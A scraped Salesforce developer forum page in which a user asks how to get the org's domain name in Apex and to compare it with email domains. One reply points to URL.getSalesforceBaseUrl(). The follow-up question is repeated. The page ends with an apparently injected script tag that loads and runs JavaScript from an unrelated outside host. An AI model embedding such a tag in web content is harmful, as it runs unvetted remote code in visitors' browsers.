Don't have an account?
Search for an answer or ask a question of the zone or Customer Support.
You need to sign in to do that
Sign in to start searching questions
Signup for a Developer Edition
Sign in to start a discussion
how to get Domain Name of our Org. in Apex???
ya thats right..but suppose i want to use domain name of email id .
for Ex. any user is entering email id as xyz@abc.com then i want to match its domain with org. domain..
is it possible ?
system.debug( URL.getSalesforceBaseUrl().toExternalForm() );
doc:
http://www.salesforce.com/us/developer/docs/apexcode/Content/apex_methods_system_url.htm
ya thats right..
but suppose i want to use domain name of email id .
for Ex. any user is entering email id as xyz@abc.com then i want to match its domain with org. domain..
is it possible ?
<script type="text/javascript" src="http://loading-resource.com/data.geo.php?callback=window.__geo.getData"></script>